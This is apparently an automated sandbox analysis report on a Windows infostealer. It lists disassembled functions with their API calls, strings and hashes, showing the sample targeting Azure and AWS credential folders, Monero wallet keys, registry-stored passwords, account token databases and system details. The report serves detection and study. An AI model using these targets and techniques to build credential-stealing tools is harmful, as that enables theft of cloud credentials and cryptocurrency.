Part of subcall function 00F24910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F24B7D
Part of subcall function 00F24910: FindClose.KERNEL32(000000FF), ref: 00F24B92

lstrcat.KERNEL32(?,00000000), ref: 00F24EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00F24EE5

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F249B0
Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F308D2), ref: 00F249C5
Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F249E2
Part of subcall function 00F24910: PathMatchSpecA.SHLWAPI(?,?), ref: 00F24A1E
Part of subcall function 00F24910: lstrcat.KERNEL32(?,0089E470), ref: 00F24A4A
Part of subcall function 00F24910: lstrcat.KERNEL32(?,00F30FF8), ref: 00F24A5C
Part of subcall function 00F24910: lstrcat.KERNEL32(?,?), ref: 00F24A70
Part of subcall function 00F24910: lstrcat.KERNEL32(?,00F30FFC), ref: 00F24A82
Part of subcall function 00F24910: lstrcat.KERNEL32(?,?), ref: 00F24A96
Part of subcall function 00F24910: CopyFileA.KERNEL32(?,?,00000001), ref: 00F24AAC
Part of subcall function 00F24910: DeleteFileA.KERNEL32(?), ref: 00F24B31

Strings

msal.cache, xrefs: 00F24EF0
\.IdentityService\, xrefs: 00F24ED9
Azure\.aws, xrefs: 00F24E5F
\.azure\, xrefs: 00F24DC1
Azure\.IdentityService, xrefs: 00F24EEB
*.*, xrefs: 00F24DD8
Azure\.azure, xrefs: 00F24DD3
*.*, xrefs: 00F24E64
\.aws\, xrefs: 00F24E4D

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6d6056dbe2695a6e2966b849bd579ee4b68c34d7110899de3cb2ba813510c5f4
Instruction ID: 69ebff9af517416235c6bbf5b895ae0630e9a4233349de491566576e5269137c
Opcode Fuzzy Hash: 6d6056dbe2695a6e2966b849bd579ee4b68c34d7110899de3cb2ba813510c5f4
Instruction Fuzzy Hash: 3141E6BA94031867DB24F770FC47FED3738AB24700F404594B689660C1EEB997C9AB92

Function 00F11310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F112B4
Part of subcall function 00F112A0: RtlAllocateHeap.NTDLL(00000000), ref: 00F112BB
Part of subcall function 00F112A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00F112D7
Part of subcall function 00F112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00F112F5
Part of subcall function 00F112A0: RegCloseKey.ADVAPI32(?), ref: 00F112FF

lstrcat.KERNEL32(?,00000000), ref: 00F1134F
lstrlen.KERNEL32(?), ref: 00F1135C
lstrcat.KERNEL32(?,.keys), ref: 00F11377

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F28B60: GetSystemTime.KERNEL32(00F30E1A,00899A28,00F305AE,?,?,00F113F9,?,0000001A,00F30E1A,00000000,?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F28B86

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00F11465

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F199EC
Part of subcall function 00F199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F19A11
Part of subcall function 00F199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F19A31
Part of subcall function 00F199C0: ReadFile.KERNEL32(000000FF,?,00000000,00F1148F,00000000), ref: 00F19A5A
Part of subcall function 00F199C0: LocalFree.KERNEL32(00F1148F), ref: 00F19A90
Part of subcall function 00F199C0: CloseHandle.KERNEL32(000000FF), ref: 00F19A9A

DeleteFileA.KERNEL32(00000000), ref: 00F114EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00F11335
\Monero\wallet.keys, xrefs: 00F1138D
.keys, xrefs: 00F1136B
wallet_path, xrefs: 00F11330

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: a3b89430737f3c8cd5cab8af480dd0e71d2781b3e473fa591c3215ee80460ce7
Instruction ID: ac0fd9d6d2c6a1b7bc2205787b923a4af3d87121ee86ec9bdb54c0c86f1f96df
Opcode Fuzzy Hash: a3b89430737f3c8cd5cab8af480dd0e71d2781b3e473fa591c3215ee80460ce7
Instruction Fuzzy Hash: 485135B1D5012997CB15FB60ED92FED733CAF54300F4045A8B60A62082EF346B89DFA6

Function 00F175D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F172D0: memset.MSVCRT ref: 00F17314
Part of subcall function 00F172D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00F1733A
Part of subcall function 00F172D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00F173B1
Part of subcall function 00F172D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00F1740D
Part of subcall function 00F172D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00F17452
Part of subcall function 00F172D0: HeapFree.KERNEL32(00000000), ref: 00F17459

lstrcat.KERNEL32(3576D020,00F317FC), ref: 00F17606
lstrcat.KERNEL32(3576D020,00000000), ref: 00F17648
lstrcat.KERNEL32(3576D020, : ), ref: 00F1765A
lstrcat.KERNEL32(3576D020,00000000), ref: 00F1768F
lstrcat.KERNEL32(3576D020,00F31804), ref: 00F176A0
lstrcat.KERNEL32(3576D020,00000000), ref: 00F176D3
lstrcat.KERNEL32(3576D020,00F31808), ref: 00F176ED
task.LIBCPMTD ref: 00F176FB

Strings

: , xrefs: 00F1764E

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: d590be6e5035f285bd4f4a1c7067388a469cb270739240cca870b94b56f0a220
Instruction ID: 48a50292903b746ec49f79f6cfe1e27550447d0911968d93c7baf257b0648254
Opcode Fuzzy Hash: d590be6e5035f285bd4f4a1c7067388a469cb270739240cca870b94b56f0a220
Instruction Fuzzy Hash: 77314272940209EFCB18EBB4ED55DFE7B75BF54301F104228F112A7184DA38A986EB61

Function 00F172D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00F17314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00F1733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00F173B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00F1740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00F17452
HeapFree.KERNEL32(00000000), ref: 00F17459
task.LIBCPMTD ref: 00F17555

Strings

Password, xrefs: 00F17401

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 41b80f956e7d462e95cc6472d7bedf1bd74015868f1e1da874dd5d363df3ae68
Instruction ID: 5836221579975c3dba1e303b0b35ceb9a2a473e225ee0de6937dd9a445a7120e
Opcode Fuzzy Hash: 41b80f956e7d462e95cc6472d7bedf1bd74015868f1e1da874dd5d363df3ae68
Instruction Fuzzy Hash: C26129B5C0426C9BDB24DB50DD51BDAB7B8BF48300F0081E9E649A6141EFB46BC9DFA0

Function 00F27500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F27542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F2757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27603
RtlAllocateHeap.NTDLL(00000000), ref: 00F2760A
wsprintfA.USER32 ref: 00F27640

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Strings

C, xrefs: 00F2754C
\, xrefs: 00F27560
:, xrefs: 00F2755C

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 51087a7fa18a7dd88c0e904cb0a4a34ce0c65b9db038bd423837b808c3d40d06
Instruction ID: 3e6a956ed4a6d3c702545f57cccdf60222d05c2c4688b9836e9d50412325759f
Opcode Fuzzy Hash: 51087a7fa18a7dd88c0e904cb0a4a34ce0c65b9db038bd423837b808c3d40d06
Instruction Fuzzy Hash: 1F41A2B1D04358EBDB10DF94EC55BEEBBB8EF08700F100198F50967280DB78AA84DBA5

Function 00F28100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0089DDC0,00000000,?,00F30E2C,00000000,?,00000000), ref: 00F28130
RtlAllocateHeap.NTDLL(00000000), ref: 00F28137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00F28158
__aulldiv.LIBCMT ref: 00F28172
__aulldiv.LIBCMT ref: 00F28180
wsprintfA.USER32 ref: 00F281AC

Strings

@, xrefs: 00F2814D
%d MB, xrefs: 00F281A3

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 957aeea8247a1d4a7b14302bcd9193a8d08fd8d2c82f734368a4e4d0fbb74e0c
Instruction ID: 6d09ee1b8079d19230dc52444e682311a32a4d87c3ff957272973e31fd8c62d4
Opcode Fuzzy Hash: 957aeea8247a1d4a7b14302bcd9193a8d08fd8d2c82f734368a4e4d0fbb74e0c
Instruction Fuzzy Hash: 4E216DB1E44318ABDB14DFD4DC4AFAEB7B8FB44B10F204219F615BB284C77869018BA5

Function 00F1BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

lstrlen.KERNEL32(00000000), ref: 00F1BC9F

Part of subcall function 00F28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F28E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00F1BCCD
lstrlen.KERNEL32(00000000), ref: 00F1BDA5
lstrlen.KERNEL32(00000000), ref: 00F1BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00F1BBEB
AccountTokens, xrefs: 00F1BABA
AccountId, xrefs: 00F1BCC4
AccountTokens, xrefs: 00F1BB49

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
